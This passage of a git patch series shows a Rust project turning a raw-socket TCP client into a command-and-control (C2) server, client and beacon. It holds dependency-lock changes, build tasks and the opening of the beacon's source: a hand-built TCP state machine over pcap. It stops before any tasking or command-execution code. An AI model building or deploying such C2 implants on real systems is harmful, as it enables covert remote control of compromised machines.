@@ async fn main() -> anyhow::Result<()> { continue; } - let Ok((to_send, received)) = process_packet(&mut socket, tcp_pkt) else { continue; }; + let Ok((to_send, received)) = process_packet(&mut socket, tcp_pkt, &send_state_changed).await else { continue; }; if let Some(received) = received { _ = receive_packet.send(received).await; } - to_send.map(|(b, d)| format_packet!(b.build(srcip, ip, d, None))) + for (b, d) in to_send { + log::trace!("adding packet to send: {b:?}"); + let pkt = format_packet!(b.build(srcip, ip, d, None)); + packet_queue.push_back(pkt); + } }, Ok(Layer3Pkt::ARP(arp)) => { if arp.opcode() != 1 || arp.plen() != 4 || arp.hwlen() != 6 { @@ -265,23 +486,36 @@ async fn main() -> anyhow::Result<()> { } let response = ARPPacket::construct(ARPMode::Reply, ARPProto::IPv4, &src_mac, &sendermac, &queryip.octets(), &senderip); - - Some(EthernetPacket::construct(src_mac, sendermac.try_into().unwrap(), &Layer3Packet::ARP(response))) + let resp2 = EthernetPacket::construct(src_mac, sendermac.try_into().unwrap(), &Layer3Packet::ARP(response)); + log::trace!("adding packet to send: ARP"); + packet_queue.push_back(resp2); }, _ => continue + }; + }, + Some(()) = recv_close.recv() => { + log::trace!("adding packet to send: TCP/IP close"); + let Ok(to_send) = close_connection(&mut socket) else { continue; }; + packet_queue.push_back(format_packet!(to_send)); + }, + Some(to_send) = send_packet.recv() => { + log::trace!("adding packet to send: TCP/IP message send"); + match send_data(&mut socket, to_send) { + Ok(pkts) => { + for (b, d) in pkts { + let pkt = format_packet!(b.build(srcip, ip, d, None)); + packet_queue.push_back(pkt); + } + } + _ => continue } }, - Some(to_send) = send_packet.recv() => { - match send_data(&mut socket, to_send) { - Ok(v) => v.map(|(b, d)| format_packet!(b.build(srcip, ip, d, None))), - Err(_) => continue - } - }, else => { continue; } - } else { - continue; - }; + } - _ = packets.sendpacket(packet.pkt()); + if let Some(packet) = packet_queue.pop_front() { + log::trace!("sending packet now ({packet:?})"); + _ = packets.sendpacket(packet.pkt()); + } } } diff --git a/tcp-test/sample-connection2.pcapng b/tcp-test/sample-connection2.pcapng new file mode 100644 index 0000000000000000000000000000000000000000..40e3b12efc04fc44ba93ad9f0f6add5a9731bcfd GIT binary patch literal 1064 zcmd<$<>gwzz`)>Zqb|Fi;MG%6g0{+OEMIKgI!JZj5HY-7?>G^7<@AGN-Gr1^o;c^b<h8z%w zfq^0B+FbF4S1);cF)%QIFoT%gy_J(0#OzF$v2ZZBGBDWOnCHOYz~;fnb%u$N>kL!* zaWhe=I`4VRuFdWIo6qsDIc&{%Me4T_I%!vBO$v-a3$9 z3NrK385lt3gX{s>2eJwjM}e}}@cCr{*e@a=J3w|J`Gp(JFa99A5Pm_nBmF3f9jI|* z5&{mdGobJ)2iXJl3pdy=f~+fG;RP~(qMn;Sc02U+-TgrE0m6`wf`l44yi9H^1p7l6 zWImcdc+mV&0kQ{T2P-uGL1DFrn~h<|zo!h03^EMP`K5U!sYS&K1x5K~nJK9$3Q3g; yDUi&^#K6I@o12Y6#M9>oGXn<$NZ-tVPZ?MkI2fLQ3}RqlU}fNdvLF;F&j0{JAOT Date: Tue, 5 Dec 2023 09:33:06 -0500 Subject: [PATCH 12/15] took the tcp-test code and made a C2 server/beacon --- Cargo.lock | 361 ++++++++++----- Cargo.toml | 1 + Makefile.toml | 8 + sparse-c2/sparse-c2-beacon/Cargo.toml | 24 + sparse-c2/sparse-c2-beacon/src/main.rs | 575 ++++++++++++++++++++++++ sparse-c2/sparse-c2-client/Cargo.toml | 13 + sparse-c2/sparse-c2-client/src/main.rs | 190 ++++++++ sparse-c2/sparse-c2-messages/Cargo.toml | 10 + sparse-c2/sparse-c2-messages/src/lib.rs | 55 +++ sparse-c2/sparse-c2-server/Cargo.toml | 16 + sparse-c2/sparse-c2-server/src/main.rs | 205 +++++++++ tcp-test/client/src/main.rs | 2 +- 12 files changed, 1350 insertions(+), 110 deletions(-) create mode 100644 sparse-c2/sparse-c2-beacon/Cargo.toml create mode 100644 sparse-c2/sparse-c2-beacon/src/main.rs create mode 100644 sparse-c2/sparse-c2-client/Cargo.toml create mode 100644 sparse-c2/sparse-c2-client/src/main.rs create mode 100644 sparse-c2/sparse-c2-messages/Cargo.toml create mode 100644 sparse-c2/sparse-c2-messages/src/lib.rs create mode 100644 sparse-c2/sparse-c2-server/Cargo.toml create mode 100644 sparse-c2/sparse-c2-server/src/main.rs diff --git a/Cargo.lock b/Cargo.lock index 4731eae..1fe13f4 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -71,6 +71,21 @@ dependencies = [ "opaque-debug", ] +[[package]] +name = "android-tzdata" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + [[package]] name = "ansi_term" version = "0.12.1" @@ -148,6 +163,12 @@ dependencies = [ "generic-array", ] +[[package]] +name = "bumpalo" +version = "3.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" + [[package]] name = "byteorder" version = "1.4.3" @@ -178,6 +199,21 @@ version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" +[[package]] +name = "chrono" +version = "0.4.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" +dependencies = [ + "android-tzdata", + "iana-time-zone", + "js-sys", + "num-traits", + "serde", + "wasm-bindgen", + "windows-targets", +] + [[package]] name = "cipher" version = "0.2.5" @@ -222,6 +258,12 @@ dependencies = [ "winapi", ] +[[package]] +name = "core-foundation-sys" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" + [[package]] name = "cpufeatures" version = "0.2.7" @@ -361,7 +403,7 @@ checksum = "136526188508e25c6fef639d7927dfb3e0e3084488bf202267829cf7fc23dbdd" dependencies = [ "errno-dragonfly", "libc", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] @@ -623,12 +665,44 @@ dependencies = [ "digest", ] +[[package]] +name = "iana-time-zone" +version = "0.1.58" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8326b86b6cff230b97d0d312a6c40a60726df3332e721f72a1b035f451663b20" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + [[package]] name = "itoa" version = "1.0.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "453ad9f582a441959e5f0d088b02ce04cfe8d51a8eaf077f12ac6d3e94164ca6" +[[package]] +name = "js-sys" +version = "0.3.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cee9c64da59eae3b50095c18d3e74f8b73c0b86d2792824ff01bbce68ba229ca" +dependencies = [ + "wasm-bindgen", +] + [[package]] name = "lazy_static" version = "1.4.0" @@ -637,9 +711,9 @@ checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" [[package]] name = "libc" -version = "0.2.148" +version = "0.2.150" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9cdc71e17332e86d2e1d38c1f99edcb6288ee11b815fb1a4b049eaa2114d369b" +checksum = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c" [[package]] name = "linux-raw-sys" @@ -683,14 +757,24 @@ dependencies = [ [[package]] name = "mio" -version = "0.8.6" +version = "0.8.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5b9d9a46eff5b4ff64b45a9e316a6d1e0bc719ef429cbec4dc630684212bfdf9" +checksum = "3dce281c5e46beae905d4de1870d8b1509a9142b62eedf18b443b011ca8343d0" dependencies = [ "libc", - "log", "wasi 0.11.0+wasi-snapshot-preview1", - "windows-sys 0.45.0", + "windows-sys", +] + +[[package]] +name = "nix" +version = "0.27.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053" +dependencies = [ + "bitflags 2.4.0", + "cfg-if", + "libc", ] [[package]] @@ -739,6 +823,12 @@ dependencies = [ "memchr", ] +[[package]] +name = "once_cell" +version = "1.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" + [[package]] name = "opaque-debug" version = "0.3.0" @@ -769,7 +859,7 @@ dependencies = [ "libc", "redox_syscall", "smallvec", - "windows-targets 0.48.0", + "windows-targets", ] [[package]] @@ -1053,9 +1143,15 @@ dependencies = [ "errno 0.3.3", "libc", "linux-raw-sys", - "windows-sys 0.48.0", + "windows-sys", ] +[[package]] +name = "ryu" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741" + [[package]] name = "scopeguard" version = "1.2.0" @@ -1079,9 +1175,9 @@ checksum = "388a1df253eca08550bef6c72392cfe7c30914bf41df5269b68cbd6ff8f570a3" [[package]] name = "serde" -version = "1.0.188" +version = "1.0.193" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cf9e0fcba69a370eed61bcf2b728575f726b50b55cba78064753d708ddc7549e" +checksum = "25dd9975e68d0cb5aa1120c288333fc98731bd1dd12f561e468ea4728c042b89" dependencies = [ "serde_derive", ] @@ -1097,15 +1193,26 @@ dependencies = [ [[package]] name = "serde_derive" -version = "1.0.188" +version = "1.0.193" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4eca7ac642d82aa35b60049a6eccb4be6be75e599bd2e9adb5f875a737654af2" +checksum = "43576ca501357b9b071ac53cdc7da8ef0cbd9493d8df094cd821777ea6e894d3" dependencies = [ "proc-macro2 1.0.66", "quote 1.0.33", "syn 2.0.29", ] +[[package]] +name = "serde_json" +version = "1.0.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b" +dependencies = [ + "itoa", + "ryu", + "serde", +] + [[package]] name = "serde_repr" version = "0.1.16" @@ -1147,14 +1254,14 @@ checksum = "74233d3b3b2f6d4b006dc19dee745e73e2a6bfb6f93607cd3b02bd5b00797d7c" [[package]] name = "simple_logger" -version = "4.2.0" +version = "4.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2230cd5c29b815c9b699fb610b49a5ed65588f3509d9f0108be3a885da629333" +checksum = "da0ca6504625ee1aa5fda33913d2005eab98c7a42dd85f116ecce3ff54c9d3ef" dependencies = [ "colored", "log", "time", - "windows-sys 0.42.0", + "windows-sys", ] [[package]] @@ -1174,12 +1281,12 @@ checksum = "62bb4feee49fdd9f707ef802e22365a35de4b7b299de4763d44bfea899442ff9" [[package]] name = "socket2" -version = "0.5.3" +version = "0.5.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2538b18701741680e0322a2302176d3253a35388e2e62f172f64f4f16605f877" +checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9" dependencies = [ "libc", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] @@ -1232,6 +1339,60 @@ dependencies = [ "sparse-05-common", ] +[[package]] +name = "sparse-c2-beacon" +version = "0.1.0" +dependencies = [ + "anyhow", + "catconf", + "libc", + "log", + "nl-sys", + "packets", + "pcap-sys", + "rand 0.8.5", + "ringbuf", + "serde", + "serde_json", + "simple_logger", + "sparse-c2-messages", + "tokio", + "tokio-stream", +] + +[[package]] +name = "sparse-c2-client" +version = "0.1.0" +dependencies = [ + "anyhow", + "serde_json", + "sparse-c2-messages", + "structopt", + "tokio", +] + +[[package]] +name = "sparse-c2-messages" +version = "0.1.0" +dependencies = [ + "chrono", + "serde", +] + +[[package]] +name = "sparse-c2-server" +version = "0.1.0" +dependencies = [ + "anyhow", + "chrono", + "log", + "nix", + "serde_json", + "simple_logger", + "sparse-c2-messages", + "tokio", +] + [[package]] name = "sparse-protocol" version = "0.1.0" @@ -1336,7 +1497,7 @@ dependencies = [ "fastrand", "redox_syscall", "rustix", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] @@ -1399,9 +1560,9 @@ dependencies = [ [[package]] name = "tokio" -version = "1.32.0" +version = "1.34.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "17ed6077ed6cd6c74735e21f37eb16dc3935f96878b1fe961074089cc80893f9" +checksum = "d0c014766411e834f7af5b8f4cf46257aab4036ca95e9d2c144a10f59ad6f5b9" dependencies = [ "backtrace", "bytes", @@ -1413,14 +1574,14 @@ dependencies = [ "signal-hook-registry", "socket2", "tokio-macros", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] name = "tokio-macros" -version = "2.1.0" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "630bdcf245f78637c13ec01ffae6187cca34625e8c63150d424b59e55af2675e" +checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" dependencies = [ "proc-macro2 1.0.66", "quote 1.0.33", @@ -1522,6 +1683,60 @@ version = "0.11.0+wasi-snapshot-preview1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" +[[package]] +name = "wasm-bindgen" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ed0d4f68a3015cc185aff4db9506a015f4b96f95303897bfa23f846db54064e" +dependencies = [ + "cfg-if", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b56f625e64f3a1084ded111c4d5f477df9f8c92df113852fa5a374dbda78826" +dependencies = [ + "bumpalo", + "log", + "once_cell", + "proc-macro2 1.0.66", + "quote 1.0.33", + "syn 2.0.29", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0162dbf37223cd2afce98f3d0785506dcb8d266223983e4b5b525859e6e182b2" +dependencies = [ + "quote 1.0.33", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0eb82fcb7930ae6219a7ecfd55b217f5f0893484b7a13022ebb2b2bf20b5283" +dependencies = [ + "proc-macro2 1.0.66", + "quote 1.0.33", + "syn 2.0.29", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ab9b36309365056cd639da3134bf87fa8f3d86008abf99e612384a6eecd459f" + [[package]] name = "winapi" version = "0.3.9" @@ -1545,27 +1760,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" [[package]] -name = "windows-sys" -version = "0.42.0" +name = "windows-core" +version = "0.50.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7" +checksum = "af6041b3f84485c21b57acdc0fee4f4f0c93f426053dc05fa5d6fc262537bbff" dependencies = [ - "windows_aarch64_gnullvm 0.42.2", - "windows_aarch64_msvc 0.42.2", - "windows_i686_gnu 0.42.2", - "windows_i686_msvc 0.42.2", - "windows_x86_64_gnu 0.42.2", - "windows_x86_64_gnullvm 0.42.2", - "windows_x86_64_msvc 0.42.2", -] - -[[package]] -name = "windows-sys" -version = "0.45.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0" -dependencies = [ - "windows-targets 0.42.2", + "windows-targets", ] [[package]] @@ -1574,22 +1774,7 @@ version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" dependencies = [ - "windows-targets 0.48.0", -] - -[[package]] -name = "windows-targets" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071" -dependencies = [ - "windows_aarch64_gnullvm 0.42.2", - "windows_aarch64_msvc 0.42.2", - "windows_i686_gnu 0.42.2", - "windows_i686_msvc 0.42.2", - "windows_x86_64_gnu 0.42.2", - "windows_x86_64_gnullvm 0.42.2", - "windows_x86_64_msvc 0.42.2", + "windows-targets", ] [[package]] @@ -1598,93 +1783,51 @@ version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7b1eb6f0cd7c80c79759c929114ef071b87354ce476d9d94271031c0497adfd5" dependencies = [ - "windows_aarch64_gnullvm 0.48.0", - "windows_aarch64_msvc 0.48.0", - "windows_i686_gnu 0.48.0", - "windows_i686_msvc 0.48.0", - "windows_x86_64_gnu 0.48.0", - "windows_x86_64_gnullvm 0.48.0", - "windows_x86_64_msvc 0.48.0", + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", ] -[[package]] -name = "windows_aarch64_gnullvm" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8" - [[package]] name = "windows_aarch64_gnullvm" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc" -[[package]] -name = "windows_aarch64_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43" - [[package]] name = "windows_aarch64_msvc" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3" -[[package]] -name = "windows_i686_gnu" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f" - [[package]] name = "windows_i686_gnu" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241" -[[package]] -name = "windows_i686_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060" - [[package]] name = "windows_i686_msvc" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00" -[[package]] -name = "windows_x86_64_gnu" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36" - [[package]] name = "windows_x86_64_gnu" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1" -[[package]] -name = "windows_x86_64_gnullvm" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3" - [[package]] name = "windows_x86_64_gnullvm" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953" -[[package]] -name = "windows_x86_64_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0" - [[package]] name = "windows_x86_64_msvc" version = "0.48.0" diff --git a/Cargo.toml b/Cargo.toml index 2401f91..58e4e92 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -5,6 +5,7 @@ members = [ "examples/*/*", "sparse-protocol", "sparse-05/*", + "sparse-c2/*", "tcp-test/client" ] resolver = "2" diff --git a/Makefile.toml b/Makefile.toml index 76df7c2..b0159b2 100644 --- a/Makefile.toml +++ b/Makefile.toml @@ -34,6 +34,14 @@ script = [ "docker-compose run --entrypoint=setcap build cap_net_raw=eip /workspaces/sparse/target/debug/tcp-test" ] +[tasks.sparse-c2] +workspace = false +script = [ + "docker-compose run build build --bin sparse-c2-beacon ${@}", + "docker-compose run build build --bin sparse-c2-server ${@}", + "docker-compose run build build --bin sparse-c2-client ${@}", +] + [tasks.run-tcp-test] workspace = false dependencies = ["tcp-test"] diff --git a/sparse-c2/sparse-c2-beacon/Cargo.toml b/sparse-c2/sparse-c2-beacon/Cargo.toml new file mode 100644 index 0000000..4c8975b --- /dev/null +++ b/sparse-c2/sparse-c2-beacon/Cargo.toml @@ -0,0 +1,24 @@ +[package] +name = "sparse-c2-beacon" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +pcap-sys = { path = "../../pcap-sys" } +packets = { path = "../../packets" } +nl-sys = { path = "../../nl-sys" } +sparse-c2-messages = { path = "../sparse-c2-messages" } +rand = "0.8.5" +tokio = { version = "1.32.0", features = ["full"] } +anyhow = "1.0.75" +tokio-stream = { version = "0.1.14", features = ["full"] } +#smoltcp = { version = "0.10", features = ["socket-tcp", "phy-raw_socket", "std", "async", "medium-ethernet", "proto-ipv4", "reassembly-buffer-size-65536", "fragmentation-buffer-size-65536", "proto-ipv4-fragmentation", "log", "verbose"] } +libc = "0.2.148" +log = { version = "0.4.20", features = [ "kv_unstable" ] } +simple_logger = "4.2.0" +ringbuf = "0.3.3" +serde = { version = "1.0.193", features = ["derive"] } +serde_json = "1.0.108" +catconf = "0.1.2" diff --git a/sparse-c2/sparse-c2-beacon/src/main.rs b/sparse-c2/sparse-c2-beacon/src/main.rs new file mode 100644 index 0000000..a16676a --- /dev/null +++ b/sparse-c2/sparse-c2-beacon/src/main.rs @@ -0,0 +1,575 @@ +use std::{ + collections::VecDeque, + mem::MaybeUninit, + net::{Ipv4Addr, SocketAddr}, + process::Stdio, + time::{Duration, Instant}, +}; + +use anyhow::{anyhow, bail, Context}; +use ringbuf::LocalRb; +use tokio::{ + io::Stdout, + process::Command, + sync::mpsc, + task, + time::{sleep, sleep_until}, +}; +use tokio_stream::StreamExt; + +use nl_sys::{netlink, route}; +use packets::{ + self, ARPMode, ARPPacket, ARPProto, EthernetPacket, IPv4Packet, IPv4Pkt, Layer3Packet, + Layer3Pkt, Layer4Packet, Layer4Pkt, TCPPacket, TCPPacketBuilder, TCPPkt, +}; +use pcap_sys; +use sparse_c2_messages::{BeaconCommand, BeaconOptions}; + +struct PeerInfo { + remote_addr: Ipv4Addr, + remote_port: u16, + local_addr: Ipv4Addr, + local_port: u16, +} + +enum Timeout { + Idle { heartbeat: Option }, + Retransmit {}, +} + +#[derive(Default)] +struct TcpSocket { + tx_buffer: LocalRb; 65536]>, + rx_buffer: LocalRb; 65536]>, + first_ack: u32, + first_rack: u32, + local_seq_no: u32, + remote_seq_no: u32, + remote_last_ack: Option, + remote_last_win: u16, + local_rx_last_seq: Option, + local_rx_last_ack: Option, + state: TcpState, + peer_info: Option, + retransmit_timeout: Option, + last_packet_received: Option, +} + +impl TcpSocket {} + +#[derive(Default, Debug, Clone, Copy)] +enum TcpState { + Listen, + SynSent, + SynReceived, + Established, + FinWait1, + FinWait2, + CloseWait, + Closing, + LastAck, + TimeWait, + #[default] + Closed, +} + +enum TcpOptions { + EndOfList, + NoOp, + MaxSegmentSize(u16), +} + +impl TcpOptions { + fn get_bytes(&self) -> Vec { + match self { + Self::EndOfList => vec![0x00], + Self::NoOp => vec![0x01], + Self::MaxSegmentSize(size) => [&[0x02, 0x04][..], &size.to_be_bytes()].concat(), + } + } +} + +fn socket_accepts_packet(socket: &TcpSocket, ip: &IPv4Pkt<'_>, tcp: &TCPPkt<'_>) -> bool { + if let Some(peer) = &socket.peer_info { + peer.local_addr == ip.dest_ip() + && peer.remote_addr == ip.source_ip() + && peer.local_port == tcp.dstport() + && peer.remote_port == tcp.srcport() + } else { + false + } +} + +async fn connect( + socket: &mut TcpSocket, + remote_addr: Ipv4Addr, + remote_port: u16, + local_addr: Ipv4Addr, + send_state_changed: &mpsc::Sender, +) -> (u16, TCPPacket) { + socket.state = TcpState::SynSent; + let local_port: u16 = loop { + let port = rand::random(); + if port > 40000 { + break port; + } + }; + let _ = send_state_changed.send(TcpState::SynSent).await; + socket.peer_info = Some(PeerInfo { + remote_addr, + remote_port, + local_addr, + local_port, + }); + + socket.local_seq_no = rand::random(); + socket.first_ack = socket.local_seq_no; + + let packet = TCPPacketBuilder::default() + .srcport(local_port) + .dstport(remote_port) + .syn(true) + .window(64240) + .seqnumber(socket.local_seq_no) + //.options([TcpOptions::MaxSegmentSize(64240).get_bytes()].concat()) + .build(local_addr, remote_addr, vec![], None); + + (local_port, packet) +} + +fn process_timeout(socket: &mut TcpSocket) -> anyhow::Result)>> { + Ok(None) +} + +async fn process_packet( + socket: &mut TcpSocket, + packet: TCPPkt<'_>, + send_state_changed: &mpsc::Sender, +) -> anyhow::Result<(Vec<(TCPPacketBuilder, Vec)>, Option>)> { + match (&socket.state, &socket.peer_info) { + (TcpState::SynSent, Some(peer)) if packet.ack() && packet.syn() => { + log::debug!("established connection with peer"); + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_seq_no = packet.seqnumber() + 1; + socket.remote_last_win = packet.window(); + socket.first_rack = packet.seqnumber(); + socket.local_seq_no += 1; + + let tcppacketbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + socket.state = TcpState::Established; + let _ = send_state_changed.send(TcpState::Established).await; + + Ok((vec![(tcppacketbuilder, vec![])], None)) + } + (TcpState::Established, Some(peer)) if packet.fin() => { + log::debug!("Received fin!"); + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_last_win = packet.window(); + socket.remote_seq_no += 1; + + socket.state = TcpState::CloseWait; + let _ = send_state_changed.send(TcpState::CloseWait).await; + + let ackbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + socket.local_seq_no += 1; + + let _ = send_state_changed.send(TcpState::Closed).await; + + let finbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + Ok((vec![(ackbuilder, vec![]), (finbuilder, vec![])], None)) + } + (TcpState::Established, Some(peer)) if packet.ack() => { + log::debug!("received packet from server",); + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_last_win = packet.window(); + socket.remote_seq_no += (packet.data().len() & 0xFFFFFFFF) as u32; + + let tcppacketbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + if !packet.data().is_empty() { + log::debug!("received data: {:?}", packet.data()); + } + + Ok(( + vec![(tcppacketbuilder, vec![])], + Some(packet.data().to_owned()), + )) + } + (TcpState::FinWait1, _) if packet.ack() => { + socket.state = TcpState::FinWait2; + let _ = send_state_changed.send(TcpState::FinWait2).await; + + Ok((vec![], None)) + } + (TcpState::FinWait2, Some(peer)) if packet.fin() => { + socket.state = TcpState::Closed; + let _ = send_state_changed.send(TcpState::Closed).await; + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_seq_no = packet.seqnumber() + 1; + socket.remote_last_win = packet.window(); + socket.local_seq_no += 1; + + let tcppacketbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + Ok((vec![(tcppacketbuilder, vec![])], None)) + } + _ => Ok((vec![], None)), + } +} + +fn resp_tcp(incoming: &TCPPkt<'_>) -> TCPPacketBuilder { + TCPPacketBuilder::default() + .srcport(incoming.dstport()) + .dstport(incoming.srcport()) +} + +fn seq_tcp(socket: &TcpSocket, mut builder: TCPPacketBuilder) -> TCPPacketBuilder { + builder +} + +fn recv_data(socket: &mut TcpSocket, data: &mut [u8]) -> anyhow::Result { + let (mut prod, mut cons) = socket.tx_buffer.split_ref(); + + let bytes_read = cons.pop_slice(data); + socket.remote_seq_no += (bytes_read & 0xFFFFFFFF) as u32; + + 